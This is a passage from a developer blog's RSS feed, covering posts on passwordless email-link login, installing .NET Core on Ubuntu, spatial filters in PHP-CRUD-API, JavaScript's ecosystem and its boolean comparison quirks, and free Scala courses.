Google plus and Facebook OAuth2 login exists, but it&amp;rsquo;s coverage is not 100% and
there are privacy concerns. Luckily there is an alternative that has 100%
coverage and no privacy concerns. So, let&amp;rsquo;s stop using passwords. This post will
explain how.&lt;/p&gt;
&lt;h3 id=&#34;single-field-login&#34;&gt;Single field login&lt;/h3&gt;
&lt;p&gt;Your login form should be:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Email: __________ [OK]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&amp;rsquo;s it! You will receive an email containing a link that you can click to be
logged in. The link contains a JSON Web Token (JWT) with the claims &amp;ldquo;username&amp;rdquo;
and &amp;ldquo;ip&amp;rdquo; and is signed by the website with a user specific secret (generated
password).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Every site nowadays has a username/password login and that is problematic.
Google plus and Facebook OAuth2 login exists, but it&rsquo;s coverage is not 100% and
there are privacy concerns. Luckily there is an alternative that has 100%
coverage and no privacy concerns. So, let&rsquo;s stop using passwords. This post will
explain how.</p>
<h3 id="single-field-login">Single field login</h3>
<p>Your login form should be:</p>
<pre tabindex="0"><code>Email: __________ [OK]
</code></pre><p>That&rsquo;s it! You will receive an email containing a link that you can click to be
logged in. The link contains a JSON Web Token (JWT) with the claims &ldquo;username&rdquo;
and &ldquo;ip&rdquo; and is signed by the website with a user specific secret (generated
password).</p>
<h3 id="problem-1-it-will-be-spamming-users">Problem 1: It will be spamming users.</h3>
<p>First thing people say. They are afraid that their users are getting spammed
with authentication links. Good point. Do you have a password recovery feature?
Indeed, I thought so. That works the same. So this is not a problem introduced
by not having a password. And remember: you don&rsquo;t have to send your users a new
authentication link as long as the previous one has not yet expired (not more
often than once per expiry period).</p>
<h3 id="problem-2-email-is-not-encrypted">Problem 2: Email is not encrypted</h3>
<p>SMTP uses SSL nowadays on port 465. And even if the token were intercepted, then
the token is still signed and can thus not be altered. Since the token contains
an IP address it can then only be used by an attacker that is on the same
Internet connection. And as a bonus the warning &ldquo;Be careful not to login to
sites without SSL&rdquo; is losing some of it&rsquo;s relevance, as there are no passwords
transmitted.</p>
<h3 id="problem-3-not-everybody-has-an-email-address">Problem 3: Not everybody has an email address</h3>
<p>This approach can easily be copied to use mobile phone numbers instead of email
addresses. An SMS message can transport the link. Note that the login form can
easily detect the difference between a mobile phone number and an email address
and choose the appropriate channel. This allows people to have either a mobile
phone number or an email address as their username.</p>
<h3 id="conclusion">Conclusion</h3>
<p>There is no reason to continue to use passwords. The above system can be used in
parallel with an existing username/password system (the password can be used as
secret). I actually implemented this functionality in the
<a href="https://github.com/mevdschee/MintyPHP/blob/master/vendor/mindaphp/NoPassAuth.php">NoPassAuth class of the MintyPHP web application framework</a>.
You can see it in action on the demo site below.</p>
<p>Go to the
<a href="http://maurits.server.nlware.com/nopass/login">MintyPHP Demo Site - NoPassAuth Example</a></p>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Programming C# on Ubuntu Linux</title>
      <link>https://www.tqdev.com/2016-dot-net-core-ubuntu-linux/</link>
      <pubDate>Thu, 10 Nov 2016 16:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-dot-net-core-ubuntu-linux/</guid>
      <description>&lt;p&gt;In this post we will be installing Microsoft .net Core SDK and Visual Studio
Code on Ubuntu Linux and create high performance HTTP end-point in C# on which
you can build a micro-service (or anything else).&lt;/p&gt;
&lt;h3 id=&#34;runtime-installation&#34;&gt;Runtime installation&lt;/h3&gt;
&lt;p&gt;Follow instructions on
&lt;a href=&#34;https://www.microsoft.com/net/core#ubuntu&#34;&gt;https://www.microsoft.com/net/core#ubuntu&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo sh -c &#39;echo &amp;quot;deb [arch=amd64] https://apt-mo.trafficmanager.net/repos/dotnet-release/ xenial main&amp;quot; &amp;gt; /etc/apt/sources.list.d/dotnetdev.list&#39;
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 417A0893
sudo apt-get update
sudo apt-get install dotnet-dev-1.0.0-preview2-003131
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This instructions are for Ubuntu 16.04, but other operating systems are
supported as well.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In this post we will be installing Microsoft .net Core SDK and Visual Studio
Code on Ubuntu Linux and create high performance HTTP end-point in C# on which
you can build a micro-service (or anything else).</p>
<h3 id="runtime-installation">Runtime installation</h3>
<p>Follow instructions on
<a href="https://www.microsoft.com/net/core#ubuntu">https://www.microsoft.com/net/core#ubuntu</a>:</p>
<pre><code>sudo sh -c 'echo &quot;deb [arch=amd64] https://apt-mo.trafficmanager.net/repos/dotnet-release/ xenial main&quot; &gt; /etc/apt/sources.list.d/dotnetdev.list'
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 417A0893
sudo apt-get update
sudo apt-get install dotnet-dev-1.0.0-preview2-003131
</code></pre>
<p>This instructions are for Ubuntu 16.04, but other operating systems are
supported as well.</p>
<h3 id="ide-installation">IDE installation</h3>
<p>Now go to
<a href="https://code.visualstudio.com/Download">https://code.visualstudio.com/Download</a>
and download the &ldquo;.deb&rdquo; file. Install it by double-clicking or by running:</p>
<pre><code>sudo dpkg -i ~/Downloads/code_1.7.1-1478180561_amd64.deb
</code></pre>
<p>Install the <a href="https://code.visualstudio.com/Docs/languages/csharp">C# extension</a>
once you are started up. Note that if you already have Visual Studio Code, you
may need to reinstall the extension after installing the runtime to properly
enable it.</p>
<h3 id="project-initialization">Project initialization</h3>
<p>Now run the following to initialize your (first) C# project on Linux:</p>
<pre><code>mkdir myProject
cd myProject
dotnet new
</code></pre>
<p>You can start Visual Studio code from the command line:</p>
<pre><code>code
</code></pre>
<p>Now we are ready for some coding. There are two files:</p>
<pre><code>using System;

namespace ConsoleApplication
{
    public class Program
    {
        public static void Main(string[] args)
        {
            Console.WriteLine(&quot;Hello World!&quot;);
        }
    }
}
</code></pre>
<p>Program.cs (above) and project.json (below):</p>
<pre><code>{
  &quot;version&quot;: &quot;1.0.0-*&quot;,
  &quot;buildOptions&quot;: {
    &quot;debugType&quot;: &quot;portable&quot;,
    &quot;emitEntryPoint&quot;: true
  },
  &quot;dependencies&quot;: {},
  &quot;frameworks&quot;: {
    &quot;netcoreapp1.0&quot;: {
      &quot;dependencies&quot;: {
        &quot;Microsoft.NETCore.App&quot;: {
          &quot;type&quot;: &quot;platform&quot;,
          &quot;version&quot;: &quot;1.0.1&quot;
        }
      },
      &quot;imports&quot;: &quot;dnxcore50&quot;
    }
  }
}
</code></pre>
<p>Now we have a simple &lsquo;hello world&rsquo; command-line application.</p>
<h3 id="hello-world-web-server">Hello world web server</h3>
<p>In order to make this a web project we need to add Kestrel:</p>
<pre><code>{
  &quot;version&quot;: &quot;1.0.0-*&quot;,
  &quot;buildOptions&quot;: {
    &quot;debugType&quot;: &quot;portable&quot;,
    &quot;emitEntryPoint&quot;: true
  },
  &quot;dependencies&quot;: {},
  &quot;frameworks&quot;: {
    &quot;netcoreapp1.0&quot;: {
      &quot;dependencies&quot;: {
        &quot;Microsoft.NETCore.App&quot;: {
          &quot;type&quot;: &quot;platform&quot;,
          &quot;version&quot;: &quot;1.0.1&quot;
        },
        &quot;Microsoft.AspNetCore.Server.Kestrel&quot;: &quot;1.0.0&quot;
      },
      &quot;imports&quot;: &quot;dnxcore50&quot;
    }
  }
}
</code></pre>
<p>Now that we added the dependency, we need to install the package:</p>
<pre><code>dotnet restore
</code></pre>
<p>Great, now we need to add some code:</p>
<pre><code>using System.Threading.Tasks;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Http;

namespace ConsoleApplication
{
    public class Program
    {
        public static void Main(string[] args)
        {
            var host = new WebHostBuilder()
            .UseUrls(&quot;http://localhost:8000/&quot;)
            .UseKestrel()
            .UseStartup&lt;Startup&gt;()
            .Build();
 
            host.Run();
        }
    }

    public class Startup
    {
        public void Configure(IApplicationBuilder app){
            app.Run(this.handler);
        }

        public Task handler(HttpContext context) {
           //Console.WriteLine(&quot;Received request&quot;);
           return context.Response.WriteAsync(&quot;Hello world&quot;);
        }
    }
}
</code></pre>
<p>As you can see this is pretty straight-forward code. You can run it using:</p>
<pre><code>dotnet run
</code></pre>
<p>And then you may benchmark this using:</p>
<pre><code>ab -c 10 -n 100000 http://localhost:8000/
</code></pre>
<p>And as you can see it performs well (20k reqs/sec on my machine).</p>
<h3 id="compiling-to-executable">Compiling to executable</h3>
<p>I was trying to create an executable without dependencies, but I kept running
into the error:</p>
<p><code>Can not find runtime target for framework '.NETCoreApp,Version=v1.0' compatible with one of the target runtimes: 'ubuntu.16.04-x64'.</code></p>
<p>Note that if you want to compile to &rsquo;exe&rsquo; instead of &lsquo;dll&rsquo; you need to change
the lines:</p>
<pre><code>&quot;type&quot;: &quot;platform&quot;,
&quot;version&quot;: &quot;1.0.1&quot;
</code></pre>
<p>to:</p>
<pre><code>//&quot;type&quot;: &quot;platform&quot;,
&quot;version&quot;: &quot;1.0.0&quot;
</code></pre>
<p>Note that the type is removed and the version changed! And add to the bottom:</p>
<pre><code>&quot;runtimes&quot;: {
  &quot;ubuntu.16.04-x64&quot;: {}
}
</code></pre>
<p>Now you need to rebuild:</p>
<pre><code>dotnet restore
</code></pre>
<p>And then build a stand-alone executable including dependencies using:</p>
<pre><code>dotnet build
</code></pre>
<p>Or if you also want to include the runtime in the build run:</p>
<pre><code>dotnet publish
</code></pre>
<p>NB: This build and publish system has seen some recent adjustments, making it
hard to Google this information.</p>
<h3 id="links">Links</h3>
<p>The following 3 articles can be used to learn more on this topic:</p>
<ul>
<li><a href="http://www.codeproject.com/Articles/1137493/Deploy-ASP-DotNet-Core-Web-Applications-on-Ubuntu">Run &amp; Deploy ASP .Net Core Web Applications on Ubuntu Linux</a></li>
<li><a href="https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers">ASP.NET Core - Fundamentals - Servers</a></li>
<li><a href="https://docs.microsoft.com/en-us/dotnet/articles/core/deploying/index#self-contained-application">​.NET Core Guide - .NET Core Application Deployment</a></li>
</ul>
<p>Enjoy programming C# on Linux!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Spatial/GIS support in PHP-CRUD-API</title>
      <link>https://www.tqdev.com/2016-spatial-gis-support-in-php-crud-api/</link>
      <pubDate>Mon, 24 Oct 2016 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-spatial-gis-support-in-php-crud-api/</guid>
      <description>&lt;p&gt;PHP-CRUD-API is a single PHP file that provides an instant powerful and
consistent REST API for a MySQL, PostgreSQL or MS SQL Server databases. It now
supports spatial/GIS columns and filters.
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; uses reflection to
“detect” the table structure and then provides an API without requiring you to
write code. Spatial data is automatically detected (both on input and output)
and converted from and to Well-Known-Text (WKT) format.&lt;/p&gt;
&lt;h3 id=&#34;example&#34;&gt;Example&lt;/h3&gt;
&lt;p&gt;If you want to find the country of a specific location:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>PHP-CRUD-API is a single PHP file that provides an instant powerful and
consistent REST API for a MySQL, PostgreSQL or MS SQL Server databases. It now
supports spatial/GIS columns and filters.
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> uses reflection to
“detect” the table structure and then provides an API without requiring you to
write code. Spatial data is automatically detected (both on input and output)
and converted from and to Well-Known-Text (WKT) format.</p>
<h3 id="example">Example</h3>
<p>If you want to find the country of a specific location:</p>
<pre><code>GET http://localhost/api.php/countries?filter[]=shape,sco,POINT(30 20)
</code></pre>
<p>You may receive it from the database using a spatial index (if you have defined
one):</p>
<pre><code>[{&quot;shape&quot;:&quot;POLYGON((30 10,40 40,20 40,10 20,30 10))&quot;}]
</code></pre>
<p>This shows how the spatial/GIS support works and also shows the WKT format for
&ldquo;POINT&rdquo; and &ldquo;POLYGON&rdquo;.</p>
<h3 id="spatialgis-is-not-special-anymore">Spatial/GIS is not special anymore</h3>
<p>When I started woking in the GIS business people were using ArcView 3. Soon we
moved to Oracle Spatial. When I learned about PostGIS I quickly realized that
the days of specialized GIS software were numbered. Nowadays GIS is a commodity
and not any different than a date field in your database. The OGC has
standardized a text representation (WKT) and also defined a set of functions
that most systems implement. Thanks to this standardization I was able to add a
intuitive and well performing spatial/GIS functionality to PHP-CRUD-API.</p>
<h3 id="quirks-in-sql-server">Quirks in SQL Server</h3>
<p>SQL Server does three things different (compared to MySQL and PostgreSQL). It&rsquo;s
spatial functions have one instead of two arguments and are implemented as
methods on the geometry type. It returns &ldquo;1&rdquo; and &ldquo;0&rdquo; instead of &ldquo;true&rdquo; or
&ldquo;false&rdquo;. And when representing WKT it writes &ldquo;POINT (30 20)&rdquo; instead of
&ldquo;POINT(30 20)&rdquo; (note the extra space before the bracket). MySQL and PostGIS seem
to behave the same. SQLLite does not support spatial/GIS functionality.</p>
<h3 id="support-for-different-types">Support for different types</h3>
<p>I have refactored a part of PHP-CRUD-API in order to be able to add Spatial/GIS
support to it. This refactoring makes it easier to add support other types. It,
for instance, allows to detect the usage of &ldquo;datetime&rdquo; fields and ensure they
are always represented in iSO 8601. It also allows to implement another much
requested feature: pass 32 bit integers to JavaScript as Number instead of
String.</p>
<h3 id="upcoming-work">Upcoming work</h3>
<p>There are still many things I want to do on this project and I have made a
<a href="https://github.com/mevdschee/php-crud-api/wiki">wiki page</a> to keep track of
them. I still need to document the newly added authentication system. I am also
working on ports to Mono, .net Core or Go so that the performance even further
improves. The aim is that you can use this API with the guarantee that it is and
stays fast (has a flat performance profile).</p>
]]></content:encoded>
    </item>
    <item>
      <title>JavaScript is too expensive to use</title>
      <link>https://www.tqdev.com/2016-javascript-is-too-expensive-to-use/</link>
      <pubDate>Sat, 22 Oct 2016 23:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-javascript-is-too-expensive-to-use/</guid>
      <description>&lt;p&gt;Programming in JavaScript is free. Free as in &amp;ldquo;free speech&amp;rdquo;, but also free as in
&amp;ldquo;free beer&amp;rdquo;. There are no fees to pay for platforms, tools or run-times. Still
the choice for JavaScript too expensive to make as it increases the cost of
development both from a personal and a product point-of-view. The main cause for
this is that the ecosystem is changing so rapidly that both people and products
are struggling to keep up.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Programming in JavaScript is free. Free as in &ldquo;free speech&rdquo;, but also free as in
&ldquo;free beer&rdquo;. There are no fees to pay for platforms, tools or run-times. Still
the choice for JavaScript too expensive to make as it increases the cost of
development both from a personal and a product point-of-view. The main cause for
this is that the ecosystem is changing so rapidly that both people and products
are struggling to keep up.</p>
<h3 id="javascript-fatigue-fatigue-fatigue">JavaScript Fatigue Fatigue Fatigue</h3>
<p>Yes we have all read the
<a href="https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4#.pecuw635y">JavaScript Fatigue</a>
<a href="https://medium.freecodecamp.com/javascript-fatigue-fatigue-66ffb619f6ce#.2027uptev">blogs</a>
and they either tell you &ldquo;the ecosystem changes too fast&rdquo; or they tell you to
&ldquo;stop whining&rdquo;. IMHO both are true and I&rsquo;ll try to explain that later. But
nobody says what should be evident by now: JavaScript is failing. It is making
simple problems complex. You don&rsquo;t need it. HTML5 supports forms better than
ever. Page loads have become almost free with HTTP2. Ajax is no longer needed.
And it was already clear
<a href="https://www.leaseweb.com/labs/2013/07/10-very-good-reasons-to-stop-using-javascript/">3 years ago</a>
that JavaScript is a security (and privacy) liability.</p>
<h3 id="cost-of-personal-development">Cost of personal development</h3>
<p>Posts like
<a href="https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.4m3iq9fgd">How it feels to learn JavaScript in 2016</a>
and
<a href="http://blog.reybango.com/2016/10/07/you-cant-get-comfortable-in-web-development-anymore/">You Can’t Get Comfortable in Web Development</a>
address the costs of JavaScript from a developer point-of-view. I see that it is
leveling the playing field for fast-learning beginners. It is like an Eternal
September in development land. Those beginners will eventually need you if you
actually have a clue. The constant change is also the driving force behind
programmers scarcity, the acceptance of high risk and low ROI expectations in
software development. So you have to learn yet another front-end framework?
That&rsquo;s good for your CV. And you are getting paid for learning. So it is no
wonder people say: &ldquo;Stop whining!&rdquo;</p>
<h3 id="cost-of-product-development">Cost of product development</h3>
<p>If you have chosen the Knockout framework 3 years ago you may already be faced
with developers suggesting a rewrite. Same goes for any other front-end
framework choice that you could have made at that point in time (Angular 1,
Ember). If you are funding the product you don&rsquo;t benefit from hiring beginners
as professionals or slower development. You care about the speed of development,
but even more about the durability of your software investment. Code that needs
to be rewritten within three years may not be durable enough. Investors don&rsquo;t
influence technology decisions, but if they would learn about JavaScript they
would probably agree with: &ldquo;The ecosystem is changing too fast.&rdquo;</p>
<h3 id="boring-software-is-bad-too">Boring software is bad too</h3>
<p>Proven technology is old and &ldquo;boring&rdquo;. Boring software development may be less
risky and a better investment, but it is dangerous as well. Nobody wants to work
for an employer that is &ldquo;lagging behind&rdquo; on it&rsquo;s technology choices. When you
are not exposed to the technology that drives the self-destructing arms race of
&ldquo;latest and greatest&rdquo; you can not beautify your CV with it. Thus working for
such an employer will make you quickly devalue as a knowledgeable software
development employee. So, if you want to hire ambitious experienced
self-motivated job-hopping software developers you&rsquo;d better work with the latest
technology.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Although it may not be feasible to completely stop using JavaScript, you may try
to only apply it where strictly necessary. Same goes for many other technologies
(like NoSQL). But in all these cases the personal interests of the software
developers are exactly opposite of the interests of the product software
company. Developers want exciting technology, while investors want boring
technology. I wish I knew how to fix this&hellip;</p>
]]></content:encoded>
    </item>
    <item>
      <title>Boolean comparison in JavaScript has a bug</title>
      <link>https://www.tqdev.com/2016-binary-logical-operators/</link>
      <pubDate>Sun, 16 Oct 2016 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-binary-logical-operators/</guid>
      <description>&lt;p&gt;A few days ago, a colleague pointed out some unexpected behavior in JavaScript.
After a few hours of investigation this weekend I think I have found the cause:
a bug in boolean comparison. This post shows my investigation and will help you
to reach that same conclusion.&lt;/p&gt;
&lt;h3 id=&#34;a-tricky-question&#34;&gt;A tricky question&lt;/h3&gt;
&lt;p&gt;What does the following expressions evaluate to?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [] &amp;amp;&amp;amp; [] == false
true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yes, it is &amp;ldquo;true&amp;rdquo;! If you don&amp;rsquo;t believe me, try it. The question that is
addressed in the remainder of this post is: &amp;ldquo;Really? Why?!&amp;rdquo;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>A few days ago, a colleague pointed out some unexpected behavior in JavaScript.
After a few hours of investigation this weekend I think I have found the cause:
a bug in boolean comparison. This post shows my investigation and will help you
to reach that same conclusion.</p>
<h3 id="a-tricky-question">A tricky question</h3>
<p>What does the following expressions evaluate to?</p>
<pre><code>&gt; [] &amp;&amp; [] == false
true
</code></pre>
<p>Yes, it is &ldquo;true&rdquo;! If you don&rsquo;t believe me, try it. The question that is
addressed in the remainder of this post is: &ldquo;Really? Why?!&rdquo;</p>
<h3 id="empty-array-evaluates-to-true">Empty array evaluates to true</h3>
<p>You may think that empty arrays evaluate to &ldquo;false&rdquo; and &ldquo;false &amp;&amp; false&rdquo;
evaluates to &ldquo;false&rdquo; leaving &ldquo;false == false&rdquo; which then evaluates to &ldquo;true&rdquo;.
That would have been an easy explanation, but it is wrong. In JavaScript empty
arrays evaluate to &ldquo;true&rdquo; (when converted to a boolean) as you can see here:</p>
<pre><code>&gt; ([]?true:false)
true
&gt; Boolean([])
true
</code></pre>
<p>Let&rsquo;s test a few script languages to see what they evaluate empty array to, when
used as a boolean expression:</p>
<pre><code>$ nodejs -e 'console.log([] ? &quot;true&quot; : &quot;false&quot;)'
true
$ php -r 'print ([] ? &quot;true&quot; : &quot;false&quot;);'
false
$ perl -e 'print ([] ? &quot;true&quot; : &quot;false&quot;)'
true
$ perl -e 'print (() ? &quot;true&quot; : &quot;false&quot;)'
false
$ ruby -e 'print ([] ? &quot;true&quot; : &quot;false&quot;)' 
true
$ ruby -e 'print (() ? &quot;true&quot; : &quot;false&quot;)' 
false
$ python -c 'print (&quot;true&quot; if [] else &quot;false&quot;)'
false
</code></pre>
<p>As you can see the empty array in Perl and Ruby also evaluates to &ldquo;true&rdquo;, while
empty lists evaluate to &ldquo;false&rdquo;. So all languages choose the (in my opinion)
more logical &ldquo;false&rdquo; value to evaluate to (in one way or another). When we
replace the empty array with &ldquo;true&rdquo; the expression behaves as expected:</p>
<pre><code>&gt; true &amp;&amp; true == false
false
</code></pre>
<p>It almost seems as if in this case the empty array is not evaluated to &ldquo;true&rdquo;.
That can&rsquo;t be the case or can it?</p>
<h3 id="operator-precedence">Operator precedence</h3>
<p>I tried the following to find out whether or not this had to do with operator
precedence:</p>
<pre><code>&gt; ([] &amp;&amp; []) == false
true
&gt; [] &amp;&amp; ([] == false)
true
</code></pre>
<p>But since both evaluate to true, I think we can rule operator precedence out. We
have to dig a little deeper.</p>
<h3 id="logical-operator-evaluation">Logical operator evaluation</h3>
<p>I got the feeling it had something to do with the way script languages evaluate
logical expressions.</p>
<pre><code>$ nodejs -e 'console.log((2 &amp;&amp; 3) &gt; 2)'
true
$ php -r 'var_export((2 &amp;&amp; 3) &gt; 2);'
false
$ perl -e 'print ((2 &amp;&amp; 3) &gt; 2)'
1
$ ruby -e 'print ((2 &amp;&amp; 3) &gt; 2)'
true
$ python -c 'print ((2 and 3) &gt; 2)'
True
</code></pre>
<p>Instead of returning true or false most scripting languages (PHP excluded)
return the first &ldquo;falsy&rdquo; (evaluates to false) or the second &ldquo;truthy&rdquo; (evaluates
to true) argument of the &ldquo;&amp;&amp;&rdquo; or &ldquo;and&rdquo; expression. You can see that here in more
detail:</p>
<pre><code>&gt; 0 &amp;&amp; 1
0
&gt; 2 &amp;&amp; 3
3
</code></pre>
<p>Now let&rsquo;s see whether or not logical operator evaluation matters by replacing
the &ldquo;[]&rdquo; (empty array) by a &ldquo;1&rdquo; (one), another non-boolean that also evaluates
to &ldquo;true&rdquo;:</p>
<pre><code>&gt; Boolean(1)
true
&gt; 1 &amp;&amp; 1 == false
false
</code></pre>
<p>So somehow if we replace &ldquo;[]&rdquo; (empty array) with &ldquo;1&rdquo; (one) we get correct
results. Since &ldquo;1&rdquo; (one) does not show the (strange) behavior that the empty
array shows, the behavior seems to be unrelated to the way logical operators are
evaluated.</p>
<h3 id="comparison-operator-evaluation">Comparison operator evaluation</h3>
<p>So, let&rsquo;s approach it from the other side now. The only way we can construct the
result &ldquo;true&rdquo; is when the &ldquo;==&rdquo; (comparison) operator fails to convert correctly
to the type of the left or right hand side of the comparison expression. Let&rsquo;s
try all possible paths:</p>
<pre><code>&gt; Boolean([])==Boolean(false)
false
&gt; Number([])==Number(false)
true
&gt; String([])==String(false)
false
&gt; Object([])==Object(false)
false
</code></pre>
<p>You would expect the first to happen (or the last), because that seems the
logical way to convert both sides to the same type. Apparently this is not true
and the comparison expression between an object and a boolean is evaluated as a
numerical comparison (a type that is unrelated to both the left and the right
side). Don&rsquo;t you believe me? Read on.</p>
<h3 id="ecmascript-6-standard">EcmaScript 6 standard</h3>
<p>Let&rsquo;s see what the
<a href="http://www.ecma-international.org/ecma-262/6.0/#sec-abstract-equality-comparison">EcmaScript 6 standard</a>
states on &ldquo;Equality Comparison&rdquo;:</p>
<blockquote>
<p>The comparison x == y [&hellip;] is performed as follows: [&hellip;] If Type(y) is
Boolean, return the result of the comparison x == ToNumber(y).</p></blockquote>
<p>It states (as the first matching step of the comparison algorithm) that
comparison with a boolean on the right hand side should be done by converting
that boolean to a number, just like we expected from our analysis.</p>
<h3 id="conclusion">Conclusion</h3>
<p>An empty array in JavaScript is evaluated to true when converted to type
Boolean. But when comparing a boolean with an object neither the type of the
left hand nor the type of the right side is chosen to evaluate the comparison in
(instead Number is chosen). This may be wrong, but we have seen that it is in
line with the specification in the EcmaScript standard.</p>
<pre><code>&gt; Boolean([])
true
&gt; [] == false
true
</code></pre>
<p>Now that I studied the standard I was able to come up with a similar case. Can
you now reason why this one evaluates to &ldquo;true&rdquo;?</p>
<pre><code>&gt; &quot;0&quot; == !&quot;0&quot;
true
</code></pre>
<p>The above JavaScript statements clearly show the problem and this
<a href="http://stackoverflow.com/questions/5491605/empty-arrays-seem-to-equal-true-and-false-at-the-same-time">5 year old StackOverflow post</a>
confirms that the comparison was indeed done numerical. I don&rsquo;t expect a fix for
this problem any time soon as this is a problem in the standard and not in the
implementation.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Free Scala progamming course</title>
      <link>https://www.tqdev.com/2016-free-scala-progamming-course/</link>
      <pubDate>Sat, 01 Oct 2016 10:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-free-scala-progamming-course/</guid>
      <description>&lt;p&gt;I have been doing an online (MOOC) Scala programming course via Coursera. It is
a free very well-constructed and challenging course taught by prof. Martin
Odersky (the creator of Scala) at the EFPL (École Polytechnique Fédérale de
Lausanne) in Switzerland. I have finished it within a few weeks and have now
started 2 of the 4 follow-up Scala courses to further sharpen my Scala skills.&lt;/p&gt;
&lt;h3 id=&#34;free-scala-programming-courses&#34;&gt;Free Scala programming courses&lt;/h3&gt;
&lt;p&gt;The following links allow you to sign up for the 5 individual courses for free:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have been doing an online (MOOC) Scala programming course via Coursera. It is
a free very well-constructed and challenging course taught by prof. Martin
Odersky (the creator of Scala) at the EFPL (École Polytechnique Fédérale de
Lausanne) in Switzerland. I have finished it within a few weeks and have now
started 2 of the 4 follow-up Scala courses to further sharpen my Scala skills.</p>
<h3 id="free-scala-programming-courses">Free Scala programming courses</h3>
<p>The following links allow you to sign up for the 5 individual courses for free:</p>
<ol>
<li><a href="https://www.coursera.org/learn/progfun1">Functional Programming Principles in Scala</a></li>
<li><a href="https://www.coursera.org/learn/progfun2">Functional Program Design in Scala</a></li>
<li><a href="https://www.coursera.org/learn/parprog1">Parallel programming</a></li>
<li><a href="https://www.coursera.org/learn/big-data-analysys">Big Data Analysis with Scala and Spark</a></li>
<li><a href="https://www.coursera.org/learn/scala-capstone">Functional Programming in Scala Capstone</a></li>
</ol>
<p>Note that if you follow the specialization link on Coursera it may seem that you
have to pay for the courses. This is not true unless you want to receive a
certificate at the end. Below you find the reasons that I feel that learning
Scala (by taking the above courses) is important.</p>
<h3 id="apache-spark-cluster-computing-hadoop-alternative">Apache Spark cluster computing (Hadoop alternative)</h3>
<p><a href="https://spark.apache.org/">Apache Spark</a> is an alternative to Hadoop for people
that run into efficiency issues. Spark is capable of holding intermediate result
in memory allowing to efficiently execute iterative algorithms. Apart from that
it is also built on the concept of having the processor close to the data it
needs to process. Spark actually supports, next to Scala, the programming
languages Java and Python. And although this seems like a hard choice, it should
be noted that all Java classes can be used from within Scala and that the Python
runtime is slower than the JVM.</p>
<h3 id="the-play-framework-spring-alternative">The Play framework (Spring alternative)</h3>
<p>If you want to combine the work-flow of writing PHP, with the performance of the
JVM, the type-safety of Java and the elegance of Scala, then the
<a href="https://playframework.com/">Play web framework</a> is for you. It may not be very
popular (yet), but it is worth exploring, because it is truly a work of art,
combining the best of many worlds. If you don&rsquo;t like Spring for it&rsquo;s ceremony
and configuration heavy nature, then you may find that Play is refreshingly
different.</p>
<h3 id="parallel-programming-skills-go-alternative">Parallel programming skills (Go alternative)</h3>
<p>I love programming in the <a href="https://golang.org/">Go language</a>. It makes me feel
close to the hardware and has some amazing parallel programming features. But it
does not combine well with enterprise software. It is the successor of C, not an
alternative for J2EE. Scala allows you to use the full Java JDK API next to it&rsquo;s
elegant own API. Scala allows you to seamlessly combine and connect the Scala
and the Java world, allowing a smooth transition in large enterprises.</p>
<h3 id="now-get-started">Now get started!</h3>
<p>This post may read like a sales pitch (but it is not). I am truly amazed and
just can&rsquo;t believe the Internet has brought us free high-quality education. I
work in a company that process millions of data points per day and provides
real-time insights in that data. These courses are very valuable to me as they
help me to understand best practices of processing of data at scale.</p>
<p>NB: Also check out the
<a href="http://www.cakesolutions.net/teamblogs/scala-starter-kit">Scala Starter Kit</a>, a
great resource!</p>
]]></content:encoded>
    </item>
    <item>
      <title>The Tao of Programming</title>
      <link>https://www.tqdev.com/2016-the-tao-of-programming/</link>
      <pubDate>Mon, 29 Aug 2016 21:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-the-tao-of-programming/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve found a document on the web titled
&lt;a href=&#34;http://www.mit.edu/~xela/tao.html&#34;&gt;&amp;ldquo;The Tao of Programming&amp;rdquo;&lt;/a&gt; that contains IT
wisdom. It was copied and translated by Geoffrey James who found it on a NASA
website with URL &amp;ldquo;&lt;a href=&#34;http://misspiggy.gsfc.nasa.gov/tao.html%22&#34;&gt;http://misspiggy.gsfc.nasa.gov/tao.html&amp;quot;&lt;/a&gt; (not responding
anymore). Below you find my three favorite IT wisdoms from the document.&lt;/p&gt;
&lt;h3 id=&#34;1-development-team-wisdom&#34;&gt;1. Development team wisdom&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A manager went to the Master Programmer and showed him the requirements
document for a new application. The manager asked the Master: &amp;ldquo;How long will
it take to design this system if I assign five programmers to it?&amp;rdquo;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve found a document on the web titled
<a href="http://www.mit.edu/~xela/tao.html">&ldquo;The Tao of Programming&rdquo;</a> that contains IT
wisdom. It was copied and translated by Geoffrey James who found it on a NASA
